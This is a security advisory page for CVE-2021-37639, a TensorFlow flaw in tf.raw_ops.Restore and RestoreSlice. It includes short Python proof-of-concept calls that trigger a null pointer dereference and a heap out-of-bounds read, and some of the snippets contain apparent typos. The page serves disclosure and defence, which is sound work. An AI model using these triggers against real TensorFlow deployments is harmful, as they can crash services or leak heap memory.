CVE-2021-37639: Null pointer dereference and heap OOB read in operations restoring tensors

(updated )

When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:

import tensorflow as tf

tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=[],
default_value=21,
dt=tf.int,
preferred_shard=1)

The same undefined behavior can be triggered by tf.raw_ops.RestoreSlice:

import tensorflow as tf

tf.raw_ops.RestoreSlice(
file_pattern=['/tmp'],
tensor_name=[],
shape_and_slice='2',
dt=inp.array([tf.int]),
preferred_shard=1)

Alternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:

import tensorflow as tf

tf.raw_ops.Restore(
file_pattern=['/tmp'],
tensor_name=['x'],
default_value=21,
dt=tf.int,
preferred_shard=42)

References

Code Behaviors & Features

Detect and mitigate CVE-2021-37639 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →